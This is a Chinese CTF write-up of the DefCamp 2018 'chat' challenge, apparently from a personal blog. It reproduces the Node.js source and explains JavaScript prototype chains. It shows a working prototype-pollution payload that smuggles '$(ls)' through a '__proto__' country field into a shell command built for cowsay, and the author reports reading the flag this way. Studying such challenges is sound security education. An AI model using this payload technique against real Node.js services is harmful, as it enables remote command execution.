Defcamp(DCTF) 2018-chat Prototype pollution attack

前言

  这是Defcamp CTF 2018中的一道web题(chat)题解,在deep clone的时候使用了Prototype pollution attack,原型污染攻击的方法解题。

  拿到题目后可以得到客户端和服务端的源码,所以首先进行源码审计。server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
var fs       = require('fs'); 
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')

var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};

client.emit('message', msg);
console.log(msg)
return true;
}

function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};

if(typeof from !== 'string') {
if(!clientManager.isSubscribedTo(from, channel)) {
console.log('Could not send message',msg,' from',
clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
return false;
}
}

var clients = clientManager.getSubscribedToChannel(channel);

for(var i = 0; i<clients.length;i++) {
if(typeof from !== 'string') {
if(clients[i].id == from.id) {
continue;
}
}

clients[i].emit('message', msg);
}

// console.log(msg)
return true;
}

io.on('connection', function (client) {
console.log("someone connecting...");
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
console.log("\n[*] newUser = " + JSON.stringify(newUser) + "\n");
console.log("\n[*] newUser.__proto__ = " + JSON.stringify(newUser.__proto__) + "\n");

if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

var keys = Object.keys(defaultSettings);
// 如果用户没有设定就是用默认设置
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}

if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}
// 保存 socket跟user 的关联
clientManager.registerClient(client, newUser);

return sendMessageToClient(client,"Server",
newUser.name + ' registered');
} catch(e) { console.log(e); client.disconnect() }
});

client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);

sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
try {
client.join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('message', function(message) {
try {
message = JSON.parse(message);
if(message.channel === undefined) {
console.log(clientManager.getUsername(client),"said:", message.msg);
} else {
sendMessageToChannel(message.channel, client, message.msg);
}
} catch(e) { console.log(e); client.disconnect() }
});

client.on('disconnect', function () {
try {
console.log('client disconnect...', client.id)

var oldclient = clientManager.removeClient(client);
if(oldclient !== undefined) {
for (const [channel, state] of Object.entries(oldclient.ch)) {
if(!state) continue;
sendMessageToChannel(channel, "Server",
"User " + oldclient.u.name + " left channel");
}
}
} catch(e) { console.log(e); client.disconnect() }
})

client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});

server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});

  客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const io = require('socket.io-client')
const socket = io.connect('http://192.168.142.128:3000')

if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.emit('register', JSON.stringify(inputUser);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "hhhh", msg: "i own you" }));

  可以看到整个应用是一个socket.io实现的聊天室。代码看下来并没有发现数据库、flag的配置或定义,但在helper.js里看到一个命令执行的地方:

1
2
3
4
5
6
7
8
getAscii: function(message) {
var e = require('child_process');
console.log("\n******************************");
var command = "cowsay '" + message + "'";
console.log(command);
console.log("******************************\n");
return e.execSync(command).toString();
}

  所以目的就是通过命令执行拿到flag。

  在server.js里我们发现只有两处调用了getAscii()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);

sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);

sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

  看起来我们只需要控制username和country就能命令注入,但继续审计发现,出了name,其他属性,如country, lastname等都不允许出现,而且对name也有严格检查(/^[a-z0-9]+$/gi),检查代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// helper.js
...
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}

var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
// 检查属性
if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}

return true;
},

  看起来这里我们也控制不了。

Prototype pollution attack

  这里我们需要使用原型污染(Prototype pollution attack)的攻击方法。

  说原型污染前我们先了解一下JS里的原型继承的原理。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object )都有一个私有属性(称之为 proto)指向它的原型对象(prototype)。该原型对象也有一个自己的原型对象 ,层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

当我们o = new F 创建一个实例o的时候,会给o添加一个proto属性,通过protp会找到 F.prototype,也就是所属类的原型。
当我们通过o访问一个属性的时候,比如o.name,会先在实例o上查找,没有的话js会通过proto去类的原型上找,由于原型也是一个对象,它也有proto属性,默认会找到Object的原型。所以,当我们的Child类想通过继承访问Super类上的属性/方法,可以通过设置Child的原型,能访问到Super的原型,就可以访问Super类的公用属性和方法了。

  上面两段是截取网上感觉说得比较好的解释。对于JS的原型链我们可以用c/c++里的继承辅助理解,但不同的是js是单继承的,所以只能形成链状,这不同于C/C++的多继承。

  我们可以通过下面的例子理解一下:

1
2
3
4
5
6
7
8
9
10
11
12
a = {}
{}
b = {}
{}
b["__proto__"]
{constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
b["__proto__"]["admin"] = true
true
b["admin"]
true
a["admin"]
true




  可以看到通过修改b["__proto__"]的属性可以为a增加一个叫admin的属性。这里可以简单的把b["__proto__"]理解为b(a)的父类,那么通过b["__proto__"]["admin"] = true为父类增加了一个属性,在使用a["admin"]的使用首先会从自身的属性里查找admin,如果没有则向上级类查找,从而在父类中得到admin的值。这跟c++的继承原理颇为相似。

## exploit
  回过头看我们的题目环境,在helper.js里我们发现有个clone函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
clone: function(obj) {

if (typeof obj !== 'object' ||
obj === null) {

return obj;
}

var newObj;
var cloneDeep = false;

if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {

var proto = Object.getPrototypeOf(obj);
console.log("\n[*] Object.getPrototypeOf(obj) = " + JSON.stringify(proto) + "\n")
if (proto &&
proto.isImmutable) {

newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}

if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&
(descriptor.get ||
descriptor.set)) {

Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}

return newObj;
},


  他会对传入的对象取出key,value,然后clone出一个新的object返回。根据代码,它实行的是深度拷贝(deep clone),使用了for循环(keys.length)将所以的属性都拷贝一次(递归拷贝)。

  所以我们可以尝试污染掉inputUser = {...}的上级父类(proto)。

  题目中是newUser = helper.clone(JSON.parse(inUser))这样调用clone的,而JSON.parse跟__proto__会产生危险的反应,先上个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>const plainObj = {
__proto__: { a: 1 },
b: 2
};
<undefined
>plainObj
<{b: 2}
>plainObj.__proto__
<{a: 1}
>const jsonString = `{
"__proto__": { "a": 1 },
"b": 2
}`;
<undefined
>const parsedObj = JSON.parse(jsonString);
<undefined
>parsedObj
<{b: 2}
>parsedObj.__proto__
<{a: 1}





  可以看出JSON.parse的时候把proto当成了属性处理,并没有过滤这个属性。所以我们可以构造如下的poc:
1
2
inputUser = `{"name": "admin", "__proto__": {"country": "'$(ls)'"}}`;
socket.emit('register', inputUser);


  这里我们注意在$(ls)两端要加上',使之得到命令(字符串)拼接的效果。
1
cowsay 'User admin living in '$(ls)' joined channel'


  当我们发送过去后即可得到ls的结果:


  这里注意我们需要直接使用字符串,而不是构造好{},再用JSON.stringify()得到字符串,因为在stringify的时候会忽略__proto__。如:

1
2
3
4
5
6
7
8
var inputUser = {
name: process.argv[2],
__proto__: '{"country": "\'$(ls)\'"}'
};
console.log("JSON.stringify(inputUser) = " + JSON.stringify(inputUser));
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private

  结果如下:




  所以我们直接使用cat falg。


参考链接

  https://rawsec.ml/en/DefCamp-2018-Quals-write-ups/#211-chat-web

  https://xz.aliyun.com/t/2735

  https://github.com/sunyongjian/blog/issues/23

  https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

  https://medium.com/intrinsic/javascript-prototype-poisoning-vulnerabilities-in-the-wild-7bc15347c96
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×